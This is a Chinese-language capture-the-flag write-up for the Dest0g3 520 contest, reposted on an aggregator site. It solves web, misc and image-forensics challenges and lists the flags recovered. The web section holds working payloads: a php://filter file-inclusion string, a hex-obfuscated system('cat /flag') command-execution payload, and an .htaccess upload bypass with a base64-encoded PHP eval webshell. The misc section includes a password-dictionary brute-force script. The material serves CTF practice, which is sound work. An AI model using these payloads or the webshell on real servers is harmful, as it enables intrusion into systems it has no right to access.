Dest0g3 520迎新赛 Writeup

编程入门 行业动态 更新时间:2024-10-11 11:13:59

Dest0g3 520迎新赛 <a href=https://www.elefans.com/category/jswz/34/1769606.html style=Writeup"/>

Dest0g3 520迎新赛 Writeup

文章目录

  • WEB
    • phpdest
    • EasyPHP
    • SimpleRCE
    • funny_upload
  • MISC
    • Welcome to fxxking DestCTF
    • Pngenius
    • EasyEncode
    • StrangeTraffic
    • codegame
    • 你知道js吗
    • EasyWord
    • Python_jail
    • 4096
  • AI
    • OCR


WEB

phpdest


php源码分析 require_once 绕过不能重复包含文件的限制

payload

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

PS C:\Users\Administrator> php -r "echo base64_decode('PD9waHANCiRmbGFnID0gIkRlc3QwZzN7NzMwZDFmM2YtOGYzZi00YmEzLThkMDAtOGQxMWVkY2RjODRkfSI7DQo=');"
<?php
$flag = "Dest0g3{730d1f3f-8f3f-4ba3-8d00-8d11edcdc84d}";
PS C:\Users\Administrator>

EasyPHP


POST传参,造成报错,执行set_error_handler

ctf[]=123

SimpleRCE



payload

aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

funny_upload


前端JS有些白名单限制,直接利用插件或者其他办法禁用掉JS
上传过程中发现可以上传.htaccess文件,其次限制了文件后缀名,以及检查文件内容,过滤:<?

.htaccess中利用伪协议,对访问内容base64解码

.htaccess文件

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.jpg"

images.jpg

PD9waHAgZXZhbCgkX1BPU1RbJ21vY2h1NyddKTs/Pg==

MISC

Welcome to fxxking DestCTF


Pngenius



分离出来的压缩包有密码,真加密,寻找密码

图片LSB发现密码

解压

Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

EasyEncode



真加密,尝试爆破密码

Dest0g3{Deoding_1s_e4sy_4_U}

StrangeTraffic


查看Modbus传输的数据,是一位一位覆盖的

和flag的格式开头的base64一样,直接锁定

不长,手工一位一位查看即可,解码base64

Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}

codegame



LOL Language

得到key,首先可以用作压缩包密码解压缩包得到1.docx,内容提示AES,无其他内容,尝试将docx修改成.zip解压发现fllllllllll1ag.txt


emoji符号加上之前提示的AES,猜测为emoji-aes,key继续猜测为之前的key,有点小脑洞Rotation=4

  • /

PS C:\Users\Administrator> php -r "echo hex2bin('666C61677B39663638663333342D303137612D343230312D393264662D6464646363313435333334647D');"
flag{9f68f334-017a-4201-92df-dddcc145334d}
PS C:\Users\Administrator>

你知道js吗



修改后缀名为flag.docx,然后打开,复制内容

BrainFuck

PS C:\Users\Administrator> php -r "echo hex2bin('446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D');"
Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}
PS C:\Users\Administrator>

EasyWord

The length of docm 's password is 6
The Regular Expression of the password is:
[a-z] [a-z] q [a-z] b [a-z]

生成密码字典

alphabet='abcdefghijklmnopqrstuvwxyz'
with open('password.txt', 'w') as f:for s1 in alphabet:for s2 in alphabet:for s3 in alphabet:for s4 in alphabet:password = '{}{}q{}b{}\n'.format(s1, s2, s3, s4)f.write(password)

hashcat破解office密码:.html


得到password.docm的密码:ulqsbt

之后的步骤参考:

我的WPS是个人版,运行不了宏,懒得弄了,直接摆

Python_jail



零宽度字符隐写

  • /


解压压缩包,得到SECRET1.pngLSB发现flag的base64

PS C:\Users\Administrator> php -r "echo base64_decode('ZmxhZ3tiNWJjZmM4Ny01Y2E2LTQzZjEtYjM4NC01N2QwOWI4ODZjYTl9');"
flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

4096


首先/js/local_storage_manager.js发现后半部分base64解码得到flag


下载源码下来发现favicon.png文件大小异常

wav文件被分为两部分,中间一部分是SSTV,旁边两部分是DTMF

首先删掉中间部分导出,DTMF解码

QSSTV


猜测DTMF得到就是手机号码,不过多了一位7好像重复了,应该是导出的时候出错,删掉即可,得到号码:13879085947

PS D:\Tools\Misc\dtmf2num> php -r "echo md5('13879085947');"
32fc1b5487cb447f792a19418b92544e


gaps拼图

gaps --image=part_flag.jpg --generations=50 --population=120 --size=64 --verbose

一直没出好效果,卡在这了,不过也差不多了,拼一下

得到后半部分flag

RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==

前半部分flag

NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=
PS D:\Tools\Misc\dtmf2num> php -r "echo base64_decode('NGVlNy1iNjczLTk3MWQ4MWY4YjE3N30=');"
4ee7-b673-971d81f8b177}
PS D:\Tools\Misc\dtmf2num> php -r "echo base64_decode('RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==');"
Dest0g3{ed4d114f-9ee4-
Dest0g3{ed4d114f-9ee4-4ee7-b673-971d81f8b177}

AI

OCR


首先图片用010 Editor打开之后报错CRC不匹配,猜测修改了高度,使用脚本还原

import binascii
import struct
import sysfile = "flag_pic.png"#图片地址
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
n = 4095
for w in range(n):width = bytearray(struct.pack('>i', w))for h in range(n):height = bytearray(struct.pack('>i', h))for x in range(4):data[x+4] = width[x]data[x+8] = height[x]crc32result = binascii.crc32(data) & 0xffffffffif crc32result == crc32key:print(width,height)newpic = bytearray(fr)for x in range(4):newpic[x+16] = width[x]newpic[x+20] = height[x]fw = open(file+'.png','wb')fw.write(newpic)fw.closesys.exit()


在线OCR:/

将得到的文本替换一下OCR比较容易出错的字符:

  • l -> 1
  • O -> 0


另存为.7z,解压,打开虽然乱码但是还是可以发现flag的base64

PS C:\Users\Administrator> php -r "echo base64_decode('RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9');"
Dest0g3{34512098-3309-7712-8865-783460221647}

更多推荐

Dest0g3 520迎新赛 Writeup

本文发布于:2024-03-10 06:36:54,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1727248.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:Writeup

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!